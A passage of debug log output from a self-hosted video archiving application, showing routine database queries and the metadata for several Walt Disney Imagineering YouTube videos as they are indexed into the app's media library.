s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:57:11.415 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:57:11.415 [debug] QUERY OK source="media_items" db=0.2ms idle=3.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [2270] 18:57:11.415 [debug] Current batch of media processed. Will check again in 1000ms 18:57:12.416 [debug] Current batch of media processed. Will check again in 1000ms 18:57:13.417 [debug] Current batch of media processed. Will check again in 1000ms 18:57:14.418 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "The Broadway-style stage shows on Disney Cruise Line are a highlight for many, but they just don't happen overnight. Like any show, the performers rehearse over and over and we're taking you into the Disney Cruise Line entertainment rehearsal facility in Toronto for the FIRST TIME EVER!\n\n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/\n\n💬 Drop a ✨ in the comments if you made it this far!", "duration" => 482, "filename" => "/downloads/Walt Disney Imagineering/2025-10-06 Behind-the-Scenes Tour of the Disney Cruise Line Entertainment Rehearsal Facility/Behind-the-Scenes Tour of the Disney Cruise Line Entertainment Rehearsal Facility [bFK8MrHLe1Y].mp4", "id" => "bFK8MrHLe1Y", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=bFK8MrHLe1Y", "playlist_index" => 18, "timestamp" => 1759781307, "title" => "Behind-the-Scenes Tour of the Disney Cruise Line Entertainment Rehearsal Facility", "upload_date" => "20251006"} 18:57:14.419 [debug] QUERY OK source="sources" db=0.2ms idle=1013.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:57:14.419 [debug] QUERY OK source="sources" db=0.1ms idle=1013.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:57:14.420 [debug] QUERY OK source="media_items" db=0.5ms idle=1014.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-06 20:08:27Z], 2] 18:57:14.421 [debug] QUERY OK source="media_items" db=1.1ms idle=1014.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["The Broadway-style stage shows on Disney Cruise Line are a highlight for many, but they just don't happen overnight. Like any show, the performers rehearse over and over and we're taking you into the Disney Cruise Line entertainment rehearsal facility in Toronto for the FIRST TIME EVER!\n\n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/\n\n💬 Drop a ✨ in the comments if you made it this far!", "Behind-the-Scenes Tour of the Disney Cruise Line Entertainment Rehearsal Facility", "21410a2c-2d01-4ce3-b7db-41946a5e071b", "bFK8MrHLe1Y", "https://www.youtube.com/watch?v=bFK8MrHLe1Y", false, 482, false, 18, "/downloads/Walt Disney Imagineering/2025-10-06 Behind-the-Scenes Tour of the Disney Cruise Line Entertainment Rehearsal Facility/Behind-the-Scenes Tour of the Disney Cruise Line Entertainment Rehearsal Facility [bFK8MrHLe1Y].mp4", false, false, 2, [], 98, ~U[2025-10-06 20:08:27Z], ~U[2026-03-31 22:57:14Z], ~U[2026-03-31 22:57:14Z], "The Broadway-style stage shows on Disney Cruise Line are a highlight for many, but they just don't happen overnight. Like any show, the performers rehearse over and over and we're taking you into the Disney Cruise Line entertainment rehearsal facility in Toronto for the FIRST TIME EVER!\n\n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/\n\n💬 Drop a ✨ in the comments if you made it this far!", "Behind-the-Scenes Tour of the Disney Cruise Line Entertainment Rehearsal Facility", "bFK8MrHLe1Y", "https://www.youtube.com/watch?v=bFK8MrHLe1Y", 482, false, "/downloads/Walt Disney Imagineering/2025-10-06 Behind-the-Scenes Tour of the Disney Cruise Line Entertainment Rehearsal Facility/Behind-the-Scenes Tour of the Disney Cruise Line Entertainment Rehearsal Facility [bFK8MrHLe1Y].mp4", false, 2, ~U[2025-10-06 20:08:27Z]] 18:57:14.422 [debug] QUERY OK source="sources" db=0.2ms idle=791.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:57:14.422 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:57:14.423 [debug] QUERY OK source="media_items" db=0.2ms idle=3.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [2048] 18:57:14.423 [debug] Current batch of media processed. Will check again in 1000ms 18:57:15.423 [debug] Current batch of media processed. Will check again in 1000ms 18:57:16.424 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Todd is one of our Concept Design artists at Walt Disney Imagineering and he's showing off how to sketch, ink, and watercolor paint a pirate in a style reminiscent of the classic Marc Davis concept art for Pirates of the Caribbean.\n\n🤖 *Step Inside Imagineering*\nEver wondered where your favorite Disney theme park experiences are being conceptualized, designed, and brought to life? It happens at Walt Disney Imagineering and we invite you to peek behind the curtain and meet our magic makers.\n\n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/\n\nDrop a ✨ in the comments if you made it this far!", "duration" => 363, "filename" => "/downloads/Walt Disney Imagineering/2025-09-29 Drawing & Watercolor Painting with a Disney Imagineer/Drawing & Watercolor Painting with a Disney Imagineer [qtQIUvTH738].mp4", "id" => "qtQIUvTH738", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=qtQIUvTH738", "playlist_index" => 19, "timestamp" => 1759172767, "title" => "Drawing & Watercolor Painting with a Disney Imagineer", "upload_date" => "20250929"} 18:57:16.425 [debug] QUERY OK source="sources" db=0.2ms idle=790.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:57:16.425 [debug] QUERY OK source="sources" db=0.1ms idle=19.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:57:16.426 [debug] QUERY OK source="media_items" db=0.5ms idle=20.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-09-29 19:06:07Z], 2] 18:57:16.428 [debug] QUERY OK source="media_items" db=1.3ms idle=20.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Todd is one of our Concept Design artists at Walt Disney Imagineering and he's showing off how to sketch, ink, and watercolor paint a pirate in a style reminiscent of the classic Marc Davis concept art for Pirates of the Caribbean.\n\n🤖 *Step Inside Imagineering*\nEver wondered where your favorite Disney theme park experiences are being conceptualized, designed, and brought to life? It happens at Walt Disney Imagineering and we invite you to peek behind the curtain and meet our magic makers.\n\n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/\n\nDrop a ✨ in the comments if you made it this far!", "Drawing & Watercolor Painting with a Disney Imagineer", "6dfe13a8-cb52-4c1b-bb80-ba0ba7ef40ba", "qtQIUvTH738", "https://www.youtube.com/watch?v=qtQIUvTH738", false, 363, false, 19, "/downloads/Walt Disney Imagineering/2025-09-29 Drawing & Watercolor Painting with a Disney Imagineer/Drawing & Watercolor Painting with a Disney Imagineer [qtQIUvTH738].mp4", false, false, 2, [], 98, ~U[2025-09-29 19:06:07Z], ~U[2026-03-31 22:57:16Z], ~U[2026-03-31 22:57:16Z], "Todd is one of our Concept Design artists at Walt Disney Imagineering and he's showing off how to sketch, ink, and watercolor paint a pirate in a style reminiscent of the classic Marc Davis concept art for Pirates of the Caribbean.\n\n🤖 *Step Inside Imagineering*\nEver wondered where your favorite Disney theme park experiences are being conceptualized, designed, and brought to life? It happens at Walt Disney Imagineering and we invite you to peek behind the curtain and meet our magic makers.\n\n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/\n\nDrop a ✨ in the comments if you made it this far!", "Drawing & Watercolor Painting with a Disney Imagineer", "qtQIUvTH738", "https://www.youtube.com/watch?v=qtQIUvTH738", 363, false, "/downloads/Walt Disney Imagineering/2025-09-29 Drawing & Watercolor Painting with a Disney Imagineer/Drawing & Watercolor Painting with a Disney Imagineer [qtQIUvTH738].mp4", false, 2, ~U[2025-09-29 19:06:07Z]] 18:57:16.428 [debug] QUERY OK source="sources" db=0.1ms idle=22.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:57:16.428 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:57:16.429 [debug] QUERY OK source="media_items" db=0.2ms idle=3.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1942] 18:57:16.429 [debug] Current batch of media processed. Will check again in 1000ms 18:57:17.430 [debug] Current batch of media processed. Will check again in 1000ms 18:57:18.431 [debug] Current batch of media processed. Will check again in 1000ms 18:57:19.432 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "🎉 Hong Kong Disneyland celebrates its 20th Anniversary in spectacular style! Discover how Imagineers transformed Main Street, U.S.A. with breathtaking projections for the nighttime spectacular Momentous: Party in the Night Sky—featuring new stories, animated clips, and an incredible drone display lighting up the skies.\n\n✅ *What to expect*\n• Stunning projection mapping across the entire length of Main Street, U.S.A.\n• Exclusive look at the creative process behind Disney’s nighttime spectaculars\n• How drones and animation bring Disney storytelling to life\n\n🎥 *Watch the Magic Unfold*\nJoin us for Great Moments in Imagineering & Disney Live Entertainment, a behind-the-scenes series that celebrates the creativity, innovation, and storytelling that define Walt Disney Imagineering. Discover the magic that brings Disney parks, resorts, attractions, and cruise ships to life!\n\n🔍 *Explore More Episodes*\n⚡ Meet the Titans from the Disney Destiny Hercules Show → https://youtu.be/YEOyMN0RSpc\n🌸 30 Years of EPCOT International Flower & Garden Festival Innovation → https://youtu.be/W9o9-nWVq2w\n👻 The Ichabod Crane Storytelling Window → https://youtu.be/k-xBwtP0x-k\n\n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/\n\nDrop a ✨ in the comments if you made it this far!", "duration" => 131, "filename" => "/downloads/Walt Disney Imagineering/2025-09-22 Hong Kong Disneyland 20th Anniversary New Projections | Great Moments in Imagineering/Hong Kong Disneyland 20th Anniversary New Projections | Great Moments in Imagineering [2h_2wZM2YeA].mp4", "id" => "2h_2wZM2YeA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=2h_2wZM2YeA", "playlist_index" => 20, "timestamp" => 1758578508, "title" => "Hong Kong Disneyland 20th Anniversary New Projections | Great Moments in Imagineering", "upload_date" => "20250922"} 18:57:19.433 [debug] QUERY OK source="sources" db=0.2ms idle=1027.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:57:19.433 [debug] QUERY OK source="sources" db=0.1ms idle=1027.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:57:19.434 [debug] QUERY OK source="media_items" db=0.6ms idle=1028.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-09-22 22:01:48Z], 2] 18:57:19.436 [debug] QUERY OK source="media_items" db=1.5ms idle=1029.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["🎉 Hong Kong Disneyland celebrates its 20th Anniversary in spectacular style! Discover how Imagineers transformed Main Street, U.S.A. with breathtaking projections for the nighttime spectacular Momentous: Party in the Night Sky—featuring new stories, animated clips, and an incredible drone display lighting up the skies.\n\n✅ *What to expect*\n• Stunning projection mapping across the entire length of Main Street, U.S.A.\n• Exclusive look at the creative process behind Disney’s nighttime spectaculars\n• How drones and animation bring Disney storytelling to life\n\n🎥 *Watch the Magic Unfold*\nJoin us for Great Moments in Imagineering & Disney Live Entertainment, a behind-the-scenes series that celebrates the creativity, innovation, and storytelling that define Walt Disney Imagineering. Discover the magic that brings Disney parks, resorts, attractions, and cruise ships to life!\n\n🔍 *Explore More Episodes*\n⚡ Meet the Titans from the Disney Destiny Hercules Show → https://youtu.be/YEOyMN0RSpc\n🌸 30 Years of EPCOT International Flower & Garden Festival Innovation → https://youtu.be/W9o9-nWVq2w\n👻 The Ichabod Crane Storytelling Window → https://youtu.be/k-xBwtP0x-k\n\n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/\n\nDrop a ✨ in the comments if you made it this far!", "Hong Kong Disneyland 20th Anniversary New Projections | Great Moments in Imagineering", "eb17c497-5762-4e56-98c7-23ae9f6e6f48", "2h_2wZM2YeA", "https://www.youtube.com/watch?v=2h_2wZM2YeA", false, 131, false, 20, "/downloads/Walt Disney Imagineering/2025-09-22 Hong Kong Disneyland 20th Anniversary New Projections | Great Moments in Imagineering/Hong Kong Disneyland 20th Anniversary New Projections | Great Moments in Imagineering [2h_2wZM2YeA].mp4", false, false, 2, [], 98, ~U[2025-09-22 22:01:48Z], ~U[2026-03-31 22:57:19Z], ~U[2026-03-31 22:57:19Z], "🎉 Hong Kong Disneyland celebrates its 20th Anniversary in spectacular style! Discover how Imagineers transformed Main Street, U.S.A. with breathtaking projections for the nighttime spectacular Momentous: Party in the Night Sky—featuring new stories, animated clips, and an incredible drone display lighting up the skies.\n\n✅ *What to expect*\n• Stunning projection mapping across the entire length of Main Street, U.S.A.\n• Exclusive look at the creative process behind Disney’s nighttime spectaculars\n• How drones and animation bring Disney storytelling to life\n\n🎥 *Watch the Magic Unfold*\nJoin us for Great Moments in Imagineering & Disney Live Entertainment, a behind-the-scenes series that celebrates the creativity, innovation, and storytelling that define Walt Disney Imagineering. Discover the magic that brings Disney 